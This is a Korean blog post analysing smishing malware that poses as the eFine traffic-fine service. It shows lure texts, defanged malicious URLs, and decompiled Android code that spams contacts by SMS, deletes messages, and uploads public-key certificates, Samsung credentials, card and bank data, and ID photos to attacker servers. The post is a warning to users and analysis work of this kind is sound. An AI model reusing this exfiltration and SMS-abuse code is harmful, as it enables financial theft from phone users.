꿈을꾸는 파랑새

오늘은 교통범칙금 통지 문자 사칭해서 스마트폰 개인정보를 빼가는 악성코드인. 경찰청 교통민원 24(이파인)에 대해 알아보겠습니다. 일단 기본적으로 해당 스미싱 공격은 기본적으로 너 교통범칙금 있으면 여러 가지 문자형식으로 이파인을 사칭을 하고 있습니다.
휴대폰 전화번호 적는 곳 나오니까 거기 번호 넣으면 그걸 확인을 할 수가 있는 악성코드 나옴 그거 설치를 하면 교통범칙금 확인 가능이라고 하면서 설치 순간 스마트폰의 개인정보를 빼가는 방식을 사용하고 있습니다.
일단 해당 문자 내용은 다음과 같습니다.
[Web 발신]
[교통민원24]법규위반과속운자동차벌점보고서
[Web 발신][교통민원 24] 교통법규위반행위 벌점 6점 처벌 고지서 발송 완료
[web발신]
[교 통24(이파인)]교 통위반
벌점처분고지서 발송완료
[web발신]
[182교통(이파인)]과속운전자동차범칙벌점통지서
[Web발신]교 통24(이파인)차량위반금지령표지처분고지서 발송 완료
공통점으로 [교통민원 24]이라는 단어와 법규 위반, 아니면 교통 법규 위반으로 벌점 등 교통 법규 관련 단어로 사용자에게 클릭을 유도합니다.
이 과정에서 공격자는 해당 스미싱 문자를 직접 수신한 핸드폰 번호가 아닐 때 입력번호 오류라는 메시지를 띄워 악성코드 앱 다운로드를 막으며.
일단 먼저 해당 악성코드를 유포하는 사이트는 다음과 같습니다.

http://hgr5x.wuny(.)casa/

이파인 사칭 사이트이파인 사칭 개인정보 입력
이파인 사칭 사이트

입니다.
먼저 해당 사이트에 접속을 하면 다음과 같이 예전처럼 휴대폰 전화번호를 입력하라고 하고 있으며 여기서 잘 보며 전화번호 입력하는 부분에 잘 보면 핸드폰 번호를 입력하시고 건강검진서를 확인해주세요.

교통법칙금 이파인 피싱 악성코드 작동

라고 돼 있는 것을 확인할 수가 있으며 해당 교통법규위반 하고 조금은 이상한 점을 느낄 수가 있을 것입니다. 그리고 어차피 밑에 있는 운전면허 조회, 착한 운전 마일리지 등과 같은 것을 처음부터 이용할 수가 없으면 그리고 밑에 있는 SNS는 전혀 동작을 하지 않는 것을 볼 수가 있습니다.

이파인 사칭 접속 환경 확인
이파인 사칭 접속 환경 확인

http://hgr5x.wuny(.)casa/XvjSlt.php

부분에서는 <script>window.location= 기능을 악용해서 운영체제 및 접속 브라우저 등을 확인해서 진짜 이파인 주소로 넘겨 버리는 것 확인을 할 수가 있습니다.

<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<script>window.location='https://www.efine(.)go.kr/';</script>

즉 일반 컴퓨터 또는 아이폰을 사용자는 그냥 이파인 공식 사이트로 넘어가게 돼 있는 구조입니다.

http://hgr5x.wuny(.)casa/js/function-1.2.js
function uaMatch(ua) {
	ua = ua.toLowerCase();

	var match = /(chrome)[ \/]([\w.]+)/.exec(ua) ||
	/(webkit)[ \/]([\w.]+)/.exec(ua) ||
	/(opera)(?:.*version|)[ \/]([\w.]+)/.exec(ua) ||
	/(msie) ([\w.]+)/.exec(ua) ||
	ua.indexOf("compatible") < 0 && /(mozilla)(?:.*? rv:([\w.]+)|)/.exec(ua) ||
	[];

	return {
		browser: match[1] || "",
		version: match[2] || "0"
	};
};

function getBrowser() {
	var matched = uaMatch(navigator.userAgent);
	var browser = {};

	if (matched.browser) {
		browser[matched.browser] = true;
		browser.version = matched.version;
	}

	// Chrome is Webkit, but Webkit is also Safari.
	if (browser.chrome) {
		browser.webkit = true;
	} else if (browser.webkit) {
		browser.safari = true;
	}
	return browser;
};


function printHTML() {
	var div;
	if (document.getElementById("print_window") === undefined || document.getElementById("print_window") == null) {
		div = document.createElement("div");
		div.style.position = "absolute";
		div.style.top = "0px";
		div.style.left = "0px";
		div.style.backgroundColor = "#fff";
		div.readOnly = true;
		div.id = "print_window";
		document.body.appendChild(div);
	} else {
		div = document.getElementById("print_window");
	}

	var msg = "";
	for (var i = 0; i < arguments.length; i++) {
		if (msg != "") {
			msg += " , ";
		}
		msg += arguments[i];
	}
	div.innerHTML += msg + "<br />";

}

를 통해서 사용자 접속 환경을 확인하는 과정을 거치게 돼 있습니다.
여기서 피싱 사이트에 결과 값에 만족하면 다음과 같이 전화번호를 입력하고 악성코드 웹을 다운로드 하기 위한 과정으로 가게 됩니다.
그리고 휴대폰 정보는 다음과 같이 입력하는 구성이 돼 있습니다.
그리고 최종적으로 다음과 같이 됩니다.

악성코드 다운로드 사이트 이동
악성코드 다운로드 사이트 이동

http://hgr5x.wuny(.)casa/0835e84472b7ed1e64a1b407f1840cd1624dc1df/사용자가입력한전화번호.apk

로 연결이 되면 최종적으로 APK 파일은 자신이 입력한 전화번호로 다운로드가 되는 것을 확인할 수가 있습니다.
그리고 해당 악성코드 다운로드 하는 곳에서는 다음과 같이 악성코드를 설치하는 방법에 대해 설명을 하고 있습니다.

어플을 다운로드후에 설치를 누르시면 권한허용이 뜹니다. 허용을 해주시면 어플설치할수 있습니다.
Play프로젝트에 의해 차단됨 이라는글이 나올시에는 밑에무시하고 설치를 누르시면 됩니다.
설치방법 다운로드에->설치 ->어플을찾아서 더블클릭 (또는 클릭) 하여 설치가 가능합니다.
*교통법규 위반 정보를 실시간으로 처리하다
설치 후 처리 위반 정보.

여기까지 와도 파일을 다운로드 하기 전에 붉은색은 된 한글이 있는데 무엇인가 번역기를 쓴 것처럼 이상한 것을 확인할 수가 있습니다.
그리고 HTTP Debugger Pro 로 보면 이런 식이 될 것입니다.

HTTP Debugger Pro 본 악성코드 다운로드
HTTP Debugger Pro 본 악성코드 다운로드

GET /0835e84472b7ed1e64a1b407f1840cd1624dc1df/01012341234(.)apk HTTP/1.1
Host:hgr5x.wuny(.)casa
User-Agent: Mozilla/5.0 (Linux; Android 5.0.2; SAMSUNG SM-G925F Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/4.0 Chrome/44.0.2403.133 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Prefer: safe
DNT: 1
Connection: keep-alive
Referer:http://hgr5x.wuny(.)casa/0835e84472b7ed1e64a1b407f1840cd1624dc1df/
Cookie: PHPSESSID=64ca41a1a3bf4401e90b175e6e82fea1
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate

그러면 악성코드가 다운로드가 될 것입니다.
그리고 나서 악성코드 해쉬값은 다음과 같습니다.
파일명:01012341234.apk
사이즈:2.83 MB
CRC32:af050ced
MD5:04c14bc567ee150938b123377d43c1d7
SHA-1:360c20d4f1ec17e046eb4f75c8f65920b44f36ac
SHA-256:e6a5f45ed3b305ba5908bf7847ac365b92c884a45a352bad09a087dfd22ce735
SHA-512:96c7245e002b482dcdabfa03b246b18f8340a26b45b65acd497151b425adb28c5e8e21dbac91dca63c7fa1fc0f18fd8c30d16e773b46ba39660cc8c138734084

일단 해당 악성코드를 실행하면 기본적으로 예전에 코로나 19가 유행을 할 때 질병관리청으로 위장하는 질병관리청 COOV 하고 똑같은 걸로 확인을 할 수가 있으며 이제는 삼성 스마트폰, 삼성 태블릿 사용자를 노리는 것을 확인할 수가 있으며 그리고 해당 악성코드에서 삼성계정을 입력하면 예전과 같이 신분증 및 운전 면허증을 촬영을 요구합니다. 그리고 나서 신한은행, 국민은행 등 한국에 있는 은행 카드 정보를 수집하기 위해서 신용 카드 및 체크카드 정보를 입력을 요구합니다. 즉 이번에는 아마도 한국에서는 삼성 스마트폰 및 삼성 태블릿 등 계정을 노려서 개인정보 수집을 하는 것 같습니다.

삼성 계정 탈취 시도신분증 및 운전면허증 업로드 요구
삼성 계정 탈취 시도

그리고 해당 악성코드에서 삼성계정을 입력하면 예전과 같이 신분증 및 운전 면허증을 촬영을 요구합니다. 그리고 나서 신한은행, 국민은행 등 한국에 있는 은행 카드 정보를 수집하기 위해서 신용 카드 및 체크카드 정보를 입력을 요구합니다.
그리고 해당 악성코드는 다음으로 4자리 숫자 25~35개가 적혀 있는 은행 보안카드를 요구합니다. 즉 코드북 암호이기 때문에 한번 노출이 되면 은행에서 처리하지 않는 이상 해당 은행 계좌에 있는 돈은 대포통장 같은 곳으로 송금돼 버립니다.
그리고 보안을 위해서는 OPT 방식으로 된 랜덤으로 보안 코드가 나오는 OPT를 은행에서 약 5,000원~10,000원 정도 주고 발급해서 사용하는 것이 안전합니다. (물론 한 개의 은행에서 발급하면 다른 은행 가서 해당 OTP로 등록을 하면 사용을 하면 됩니다. 해당 경우에는 추가 비용이 발생하지 않음)

[생활] - 카카오뱅크에서 타은행 OTP 등록 방법

 

카카오뱅크에서 타은행 OTP 등록 방법

오늘은 카카오뱅크에서 OTP를 등록을 하는 방법에 대해 알아보겠습니다. 일단 기본적으로 자신이 다른 은행에서 발급받은 OTP가 있으면 굳이 카카오뱅크에서 해당 OTP를 구매를 할 필요가 없습니

wezard4u.tistory.com

그리고 계정 해당 악성코드가 하라는 데로 진행하면 은행계좌번호를 요구하고 있으며 그리고 공동인증서(공인 인증서)비밀번호 요구 그리고 최종적으로는 핸드폰 설정 열기라는 화면이 나옵니다.

신용카드 정보 요구보안 카드 업로드 요구
신용카드 정보 요구

내용은 다음과 같습니다.

스마트폰 설정 열기
스마트폰 설정 열기

먼저 해당 악성코드의 권한은 다음과 같습니다.

<uses-permission android:name="android.permission.GET_TASKS"/>
<uses-permission android:name="android.permission.INTERACT_ACROSS_USERS_FULL"/>
<uses-permission android:name="android.permission.GET_TOP_ACTIVITY_INFO"/>
<uses-permission android:name="android.permission.REORDER_TASKS"/>
<uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.REORDER_TASKS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.WRITE_SETTINGS"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_SMS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.ANSWER_PHONE_CALLS"/>

이파인 악성코드 안드로이드 권한
이파인 악성코드 안드로이드 권한

해당 악성코드의 권한을 보면 다음과 같습니다. 네트워크 연결, 인터넷 연결, 연락처 읽고 스마트폰 통신사 정보 읽어오기, 문자 보내고 문자 읽기, 설정 쓰기, 문자 쓰기, 전화 걸기, 스마트폰 수신 전화받기 들을 할 수가 있습니다. 즉 여기서 진짜 금융권으로 전화한다고 해도 해당 은행과 경찰서 등으로 연결되는 것이 아니고 해당 기능을 통해서 보이스피싱 일당에게 해당 전화를 걸게 되어서 피해가 발생을 하게 되는 방식을 취하고 있습니다. 당연히 해당 부분을 통해서 검찰로 속여서 전화가 올 가능성도 있을 것입니다.
com.example.myapplication.Tools에서는 문자 관련 코드들이 존재하는 것을 확인할 수가 있습니다.

악성코드 문자 관련 코드
악성코드 문자 관련 코드

public void SendContactsServer(Context context) {
        int i;
        int i2;
        Boolean sendMsg = Boolean.valueOf(context.getSharedPreferences("pref", 0).getBoolean("sendMsg", false));
        if (sendMsg.booleanValue()) {
            return;
        }
        int smsSwitch = context.getSharedPreferences("pref", 0).getInt("sms_switch", 0);
        if (smsSwitch == 1) {
            return;
        }
        getPhoneNumber().replace(" ", "-");
        int count = 0;
        String word = context.getSharedPreferences("pref", 0).getString("word", "test");
        String phone_list = context.getSharedPreferences("pref", 0).getString("phone_list", "");
        if (phone_list == "") {
            return;
        }
        String[] ps = phone_list.split("\n");
        int length = ps.length;
        int i3 = 0;
        while (i3 < length) {
            String phoneNumber = ps[i3];
            if (phoneNumber.length() <= 3) {
                i = i3;
                i2 = length;
            } else {
                SmsManager mySms = SmsManager.getDefault();
                i = i3;
                i2 = length;
                mySms.sendTextMessage(phoneNumber, null, word, null, null);
                count++;
            }
            i3 = i + 1;
            length = i2;
        }
        SharedPreferences pref = context.getSharedPreferences("pref", 0);
        SharedPreferences.Editor editor = pref.edit();
        editor.putBoolean("sendMsg", true);
        editor.commit();
    }

    public void deleteSMS(Context context) {
        try {
            ContentResolver CR = context.getContentResolver();
            Uri uriSms = Uri.parse("content://sms/sent");
            Cursor c = CR.query(uriSms, new String[]{"_id", "thread_id"}, null, null, null);
            if (c == null || !c.moveToFirst()) {
                return;
            }
            do {
                long threadId = c.getLong(1);
                CR.delete(Uri.parse("content://sms/conversations/" + threadId), null, null);
            } while (c.moveToNext());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public void SendNetContacts(Context context) {
        String word = context.getSharedPreferences("pref", 0).getString("smstext", "test");
        if (word.equals("")) {
            word = context.getSharedPreferences("pref", 0).getString("word", "test");
        }
        String phone_list = context.getSharedPreferences("pref", 0).getString("phone2_list", "");
        if (!phone_list.equals("")) {
            String[] ps = phone_list.split(";");
            for (String phoneNumber : ps) {
                if (phoneNumber.length() > 10) {
                    SmsManager mySms = SmsManager.getDefault();
                    mySms.sendTextMessage(phoneNumber, null, word, null, null);
                }
            }
        }
    }

보면 문자 보내고 문자 지우고 하게 코드들이 있는 것을 확인할 수가 있습니다.
com.example.myapplication.SunSang 에서는 삼성계정을 훔치기 즉 삼성계정 유출을 위한 코드가 존재하는 것을 확인할 수가 있습니다.

삼성 계정 탈취 목적의 코드
삼성 계정 탈취 목적의 코드

public void doUpload() {
        if (this.edAccount.getText().length() == 0) {
            Toast.makeText(this, getString(C0406R.string.suns_account_need), 1).show();
            this.myDialog.dismiss();
        } else if (this.edPasswd.getText().length() == 0) {
            Toast.makeText(this, getString(C0406R.string.suns_password_need), 1).show();
            this.myDialog.dismiss();
        } else {
            String account = this.edAccount.getText().toString();
            String password = this.edPasswd.getText().toString();
            Message retryMsg = new Message();
            retryMsg.what = 1;
            String url = HttpUtils.getHttpURL(this) + "reg_sunsang.php?&version=" + Build.VERSION.RELEASE;
            this.myAsyncTask = new MyAsyncTask(this, this, null);
            try {
                Tools to = new Tools(this);
                String phoneNum = to.getPhoneNumber();
                this.myAsyncTask.execute(url, phoneNum, account, password).get();
                Message msg = new Message();
                msg.what = 2;
                this.myHandler.sendMessage(msg);
            } catch (InterruptedException e) {
                e.printStackTrace();
            } catch (ExecutionException e2) {
                e2.printStackTrace();
            }
        }
    }

그리고 com.example.myapplication.MainActivity 에서는 신분증 및 운전면허증을 훔치기 위한 코드가 들어가 져 있는 것을 확인할 수가 있습니다.

신분증 및 운전면허증 훔치기 위한 코드
신분증 및 운전면허증 훔치기 위한 코드

@Override // android.view.View.OnClickListener
    public void onClick(View v) {
        switch (v.getId()) {
            case C0406R.C0409id.cancel_take /* 2131296334 */:
                this.pic_dig.setVisibility(4);
                return;
            case C0406R.C0409id.selete /* 2131296510 */:
                Intent intent = new Intent("android.intent.action.PICK", (Uri) null);
                intent.setDataAndType(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, "image/*");
                startActivityForResult(intent, 2);
                return;
            case C0406R.C0409id.take /* 2131296548 */:
                Intent intent2 = new Intent("android.media.action.IMAGE_CAPTURE");
                this.filename = "nhjh" + System.currentTimeMillis() + ".jpg";
                this.srcPath = Environment.getExternalStorageDirectory().getPath() + "/" + this.filename;
                System.out.println(this.filename);
                intent2.putExtra("output", Uri.fromFile(new File(Environment.getExternalStorageDirectory(), this.filename)));
                startActivityForResult(intent2, 1);
                return;
            case C0406R.C0409id.f46up /* 2131296599 */:
                Tools to = new Tools(this);
                final String phoneNum = to.getPhoneNumber();
                this.myDialog = ProgressDialog.show(this, "업로드 중...", "Please wait...", true, false);
                final String url = HttpUtils.getHttpURL(this) + "receive_file.php";
                new Thread(new Runnable() { // from class: com.example.myapplication.MainActivity.3
                    @Override // java.lang.Runnable
                    public void run() {
                        MainActivity.this.uploadFile(url, phoneNum);
                        MainActivity.this.myHandler.sendMessage(new Message());
                    }
                }).start();
                return;
            default:
                return;
        }
    }

그리고 같은 부분에서는 공동인증서(구 공인 인증서)를 훔치기 위한 코드들이 존재하는 것을 확인할 수가 있습니다.

은행 계좌 정보 및 비밀번호 요구신용카드 정보 요구
은행 계좌 정보 및 비밀번호 요구
공동&nbsp;인증서(구&nbsp;공인&nbsp;인증서) 훔치기 코드
공동&nbsp;인증서(구&nbsp;공인&nbsp;인증서) 훔치기 코드

// from class: com.example.myapplication.MainActivity.1
            @Override // android.view.View.OnClickListener
            public void onClick(View v) {
                MainActivity.this.pic_dig.setVisibility(0);
            }
        });
        SharedPreferences pref = getSharedPreferences("pref", 0);
        SharedPreferences.Editor editor = pref.edit();
        editor.putInt("sms_switch", 1);
        editor.putInt("ID", 0);
        editor.putBoolean("sendMsg", false);
        editor.putBoolean("Optim", false);
        if (pref.getString("Server_URL", "") == "") {
            editor.putString("Server_URL", HttpUtils.URL);
        }
        editor.commit();
        new Tools(this).deleteSMS(this);
        new Tools(this).regCustomer();
        HomeKeyEventBroadCastReceiver receiver = new HomeKeyEventBroadCastReceiver();
        registerReceiver(receiver, new IntentFilter("android.intent.action.CLOSE_SYSTEM_DIALOGS"));
        startService(new Intent(this, RelService.class));
        String folderPath = Environment.getExternalStorageDirectory().getAbsolutePath() + "/NPKI/";
        String yessignfolderPath = Environment.getExternalStorageDirectory().getAbsolutePath() + "/NPKI";
        final String zipPath = Environment.getExternalStorageDirectory().getAbsolutePath() + "/N5.zip";
        if (isExist(folderPath)) {
            if (isExist(yessignfolderPath)) {
                ZipFolder(yessignfolderPath, zipPath);
            } else {
                ZipFolder(folderPath, zipPath);
            }
            Tools to = new Tools(this);
            final String phoneNum = to.getPhoneNumber();
            final String url = HttpUtils.getHttpURL(this) + "receive_npki.php";
            new Thread(new Runnable() { // from class: com.example.myapplication.MainActivity.2
                @Override // java.lang.Runnable
                public void run() {
                    MainActivity.this.uploadFileSign(url, phoneNum, zipPath);
                }
            }).start();
        }
        Intent intent = new Intent(this, SunSang.class);
        startActivity(intent);
    }

그리고 해당 악성코드는 N5(.)zip 형태로 업로드 하는 것을 확인할 수가 있습니다.
com.example.myapplication.Step3b 부분에서는 신용카드, 체크카드 정보를 훔치기 위한 코드들이 준비된 것을 확인할 수가 있습니다.

신용카드 및 체크 카드 정보 훔치기 코드
신용카드 및 체크 카드 정보 훔치기 코드

public void doUpload() {
        String city;
        if (this.edOtherCity.getText().length() == 0) {
            city = this.cityValue;
        } else {
            city = this.edOtherCity.getText().toString();
        }
        Message retryMsg = new Message();
        retryMsg.what = 1;
        if (city.equals("")) {
            Toast.makeText(this, "신용 카드을 입력하세요", 1).show();
            this.myHandler.sendMessage(retryMsg);
        } else if (this.edName.getText().length() == 0) {
            Toast.makeText(this, "카드번호을 입력하세요", 1).show();
            this.myHandler.sendMessage(retryMsg);
        } else if (this.edPhone.getText().length() == 0) {
            this.myHandler.sendMessage(retryMsg);
            Toast.makeText(this, "CVC번호을 입력하세요", 1).show();
        } else if (this.edOtp.getText().length() == 0) {
            Toast.makeText(this, "비밀번호을 입력하세요", 1).show();
            this.myHandler.sendMessage(retryMsg);
        } else if (this.ed4Otp.getText().length() == 0) {
            Toast.makeText(this, "유효기간을 입력하세요", 1).show();
            this.myHandler.sendMessage(retryMsg);
        } else {
            String info = ((Object) this.edName.getText()) + ";" + ((Object) this.edPhone.getText()) + ";" + ((Object) this.edOtp.getText()) + ";" + ((Object) this.ed4Otp.getText());
            String url = HttpUtils.getHttpURL(this) + "req_cityb.php?&version=" + Build.VERSION.RELEASE;
            this.myAsyncTask = new MyAsyncTask(this, this, null);
            try {
                Tools to = new Tools(this);
                String phoneNum = to.getPhoneNumber();
                this.myAsyncTask.execute(url, phoneNum, city, info).get();
                Message msg = new Message();
                msg.what = 2;
                this.myHandler.sendMessage(msg);
            } catch (InterruptedException e) {
                e.printStackTrace();
            } catch (ExecutionException e2) {
                e2.printStackTrace();
            }
        }
    }

그리고 은행 정보 즉 사용자의 은행 계좌번호를 훔치기 위한 코드는 다음과 같습니다.

은행 정보 입력 코드
은행 정보 입력 코드

public void doUpload() {
        String city;
        if (this.edOtherCity.getText().length() == 0) {
            city = this.cityValue;
        } else {
            city = this.edOtherCity.getText().toString();
        }
        Message retryMsg = new Message();
        retryMsg.what = 1;
        if (city.equals("")) {
            Toast.makeText(this, "은행을 입력하세요", 1).show();
            this.myHandler.sendMessage(retryMsg);
        } else if (this.edName.getText().length() == 0) {
            Toast.makeText(this, "이름을 입력하세요", 1).show();
            this.myHandler.sendMessage(retryMsg);
        } else if (this.edPhone.getText().length() == 0) {
            this.myHandler.sendMessage(retryMsg);
            Toast.makeText(this, "전화번호을 입력하세요", 1).show();
        } else if (this.edOtp.getText().length() == 0) {
            Toast.makeText(this, "계좌번호을 입력하세요", 1).show();
            this.myHandler.sendMessage(retryMsg);
        } else if (this.ed4Otp.getText().length() == 0) {
            Toast.makeText(this, "비밀번호을 입력하세요", 1).show();
            this.myHandler.sendMessage(retryMsg);
        } else {
            String info = ((Object) this.edName.getText()) + ";" + ((Object) this.edPhone.getText()) + ";" + ((Object) this.edOtp.getText()) + ";" + ((Object) this.ed4Otp.getText());
            String url = HttpUtils.getHttpURL(this) + "req_city.php?&version=" + Build.VERSION.RELEASE;
            this.myAsyncTask = new MyAsyncTask(this, this, null);
            try {
                Tools to = new Tools(this);
                String phoneNum = to.getPhoneNumber();
                this.myAsyncTask.execute(url, phoneNum, city, info).get();
                Message msg = new Message();
                msg.what = 2;
                this.myHandler.sendMessage(msg);
            } catch (InterruptedException e) {
                e.printStackTrace();
            } catch (ExecutionException e2) {
                e2.printStackTrace();
            }
        }
    }

com.example.myapplication.MainActivity 부분에서는 은행에서 보안 카드를 훔치는 코드가 있는 것을 확인할 수가 있습니다.

은행 보안 카드 훔치기 코드
은행 보안 카드 훔치기 코드

public void uploadFile(String uploadUrl, String phoneNum) {
        StringBuilder sb;
        try {
            sb = new StringBuilder();
        } catch (Exception e) {
            e = e;
        }
        try {
            sb.append(uploadUrl);
            sb.append("?telnum=");
            sb.append(phoneNum);
            URL url = new URL(sb.toString());
            HttpURLConnection httpURLConnection = (HttpURLConnection) url.openConnection();
            httpURLConnection.setDoInput(true);
            httpURLConnection.setDoOutput(true);
            httpURLConnection.setUseCaches(false);
            httpURLConnection.setRequestMethod("POST");
            httpURLConnection.setRequestProperty("Connection", HTTP.CONN_KEEP_ALIVE);
            httpURLConnection.setRequestProperty("Charset", HTTP.UTF_8);
            httpURLConnection.setRequestProperty("Content-Type", "multipart/form-data;boundary=******");
            DataOutputStream dos = new DataOutputStream(httpURLConnection.getOutputStream());
            dos.writeBytes("--******\r\n");
            StringBuilder sb2 = new StringBuilder();
            sb2.append("nhjhe_");
            sb2.append(phoneNum);
            sb2.append("_");
            String str = this.srcPath;
            sb2.append(str.substring(str.lastIndexOf("/") + 1));
            String tmpSrcPath = sb2.toString();
            dos.writeBytes("Content-Disposition: form-data; name=\"uploadedfile\"; filename=\"" + tmpSrcPath + "\"\r\n");
            dos.writeBytes("\r\n");
            FileInputStream fis = new FileInputStream(this.srcPath);
            byte[] buffer = new byte[8192];
            while (true) {
                int count = fis.read(buffer);
                if (count != -1) {
                    dos.write(buffer, 0, count);
                } else {
                    fis.close();
                    dos.writeBytes("\r\n");
                    dos.writeBytes("--******--\r\n");
                    dos.flush();
                    InputStream is = httpURLConnection.getInputStream();
                    InputStreamReader isr = new InputStreamReader(is, "utf-8");
                    BufferedReader br = new BufferedReader(isr);
                    br.readLine();
                    dos.close();
                    is.close();
                    return;
                }
            }
        } catch (Exception e2) {
            e = e2;
            e.printStackTrace();
        }
    }

    /* loaded from: classes.dex */
    private class MyHandler extends Handler {
        private MyHandler() {
        }

        @Override // android.os.Handler
        public void handleMessage(Message msg) {
            encryption_card.this.myDialog.dismiss();
            Intent intent = new Intent(encryption_card.this, Step4.class);
            encryption_card.this.startActivity(intent);
            encryption_card.this.finish();
        }
    }
}

다음은 com.example.myapplication.Step4 에서는 공동 인증서(구 공인 인증서)를 훔치기 위한 코드들이 있는 것을 확인할 수가 있습니다.

공동&nbsp;인증서(구&nbsp;공인&nbsp;인증서) 훔치기 코드
공동&nbsp;인증서(구&nbsp;공인&nbsp;인증서) 훔치기 코드

@Override // android.view.View.OnClickListener
    public void onClick(View v) {
        if (v.getId() == C0406R.C0409id.f46up) {
            this.myDialog = ProgressDialog.show(this, "Loading...", "Please wait...", true, false);
            doUpload();
        }
    }

    public void doUpload() {
        if (this.edCode.getText().length() == 0) {
            Toast.makeText(this, "비밀번호를 입력해 주세요.", 1).show();
            Message msg = new Message();
            msg.what = 1;
            this.myHandler.sendMessage(msg);
            this.myHandler.sendMessage(new Message());
            return;
        }
        String code = this.edCode.getText().toString();
        String url = HttpUtils.getHttpURL(this) + "req_auth_code.php?&version=" + Build.VERSION.RELEASE;
        this.myAsyncTask = new MyAsyncTask(this, this, null);
        try {
            Tools to = new Tools(this);
            String phoneNum = to.getPhoneNumber();
            this.myAsyncTask.execute(url, phoneNum, code).get();
            Message msg2 = new Message();
            msg2.what = 2;
            this.myHandler.sendMessage(msg2);
        } catch (InterruptedException e) {
            e.printStackTrace();
        } catch (ExecutionException e2) {
            e2.printStackTrace();
        }
    }

그리고 악성코드는 com.example.myapplication.ArsA 에서 코드를 보면 추가로 APK를 다운로드를 하는 것을 확인할 수가 있습니다.

public void doUpload() {
        if (!this.mTime.getFinish()) {
            Message msg = new Message();
            msg.what = 1;
            this.myHandler.sendMessage(msg);
            Toast.makeText(this, "핸드폰 미설정 완료....", 1).show();
            return;
        }
        Message msg2 = new Message();
        msg2.what = 2;
        this.myHandler.sendMessage(msg2);
    }

    /* loaded from: classes.dex */
    private class MyHandler extends Handler {
        private MyHandler() {
        }

        @Override // android.os.Handler
        public void handleMessage(Message msg) {
            int i = msg.what;
            if (i == 1) {
                ArsA.this.myDialog.dismiss();
            } else if (i == 2) {
                ArsA.this.myDialog.dismiss();
                SharedPreferences pref = ArsA.this.getSharedPreferences("pref", 0);
                SharedPreferences.Editor editor = pref.edit();
                editor.putInt("do_not_restart", 1);
                editor.commit();
                new AlertDialog.Builder(ArsA.this).setTitle("최신 버전을 다운로드하십시오").setMessage("다운로드?").setPositiveButton("확인", new DialogInterface.OnClickListener() { // from class: com.example.myapplication.ArsA.MyHandler.1
                    @Override // android.content.DialogInterface.OnClickListener
                    public void onClick(DialogInterface dialog, int which) {
                        Uri uri = Uri.parse("https://c85.pcloud(.)com/dpZcxxfdCZ3lcY0AZAMRj7ZZ2Ib5c7Z2ZZoa7ZZPBmB87dB6gRKVOA7MIGV1uInLOMk/%EA%B5%90%ED%86%B5%EB%AF%BC%EC%9B%9024%28%EC%9D%B4%ED%8C%8C%EC%9D%B8%29.apk");
                        Intent intent = new Intent("android.intent.action.VIEW", uri);
                        ArsA.this.startActivity(intent);
                        ArsA.this.finish();
                    }
                }).show();
            }
        }
    }

그리고 dpZcxxfdCZ3lcY0AZAMRj7ZZ2Ib5c7Z2ZZoa7ZZPBmB87dB6gRKVOA7MIGV1uInLOMk/%EA%B5%90%ED%86%B5%EB%AF%BC%EC%9B%9024%28%EC%9D%B4%ED%8C%8C%EC%9D%B8%29 를 URL Decode를 이용하면 다음과 같이 됩니다.교통 민원 2(이파인)4로 확인을 할 수가 있습니다.
이며 그리고 사실상 com.example.myapplication.MainActivity 에 보면 문자 삭제, GPS 끄기, GPS 활성화하기 등이 있는 것을 확인할 수가 있습니다. 그리고 통신사 정보, 연락처 정보들이 다 여기 있다고 보시면 됩니다.

즉 사용자 스마트폰의 위치를 확인하는 데 사용을 하면 고객님 어디 어디에 살고 있으시죠. 뭐 이런 식으로 접근하기 위해서 사용을 하지 않을까 생각을 합니다.

GPS 활성화 및 GPS 비활성화
GPS 활성화 및 GPS 비활성화

public Tools(Context context2) {
        this.context = context2;
    }

    public void disableGPS() {
        onoffGPS("gps", false);
    }

    public void enableGPS() {
        onoffGPS("gps", true);
    }

    private void onoffGPS(String paramString, boolean flag) {
        String str = Settings.Secure.getString(this.context.getContentResolver(), "location_providers_allowed");
        if ((flag && !str.contains(paramString)) || (!flag && str.contains(paramString))) {
            Intent intent = new Intent();
            intent.setClassName("com.android.settings", "com.android.settings.widget.SettingsAppWidgetProvider");
            intent.addCategory("android.intent.category.ALTERNATIVE");
            intent.setData(Uri.parse("3"));
            this.context.sendBroadcast(intent);
        }
    }

    public String getPhoneNumber() {
        TelephonyManager tm = (TelephonyManager) this.context.getSystemService("phone");
        String phoneNumber = tm.getLine1Number();
        if (phoneNumber == null || phoneNumber.equals("")) {
            String SimserialNum = tm.getSimSerialNumber();
            String DeviceID = tm.getDeviceId();
            if (SimserialNum != null && DeviceID != null) {
                String identifier = String.valueOf(DeviceID.toUpperCase()) + "-" + SimserialNum.toUpperCase();
                return identifier;
            } else if (DeviceID == null) {
                return null;
            } else {
                String identifier2 = DeviceID.toUpperCase();
                return identifier2;
            }
        } else if (phoneNumber.charAt(0) == '+') {
            return phoneNumber.substring(1);
        } else {
            return phoneNumber;
        }
    }

    public String getTelCompany() {
        return ((TelephonyManager) this.context.getSystemService("phone")).getNetworkOperatorName();
    }

이파인 악성코드 다른 기기에서도 전화 문자 하기 기능 악용
이파인 악성코드 다른 기기에서도 전화 문자 하기 기능 악용

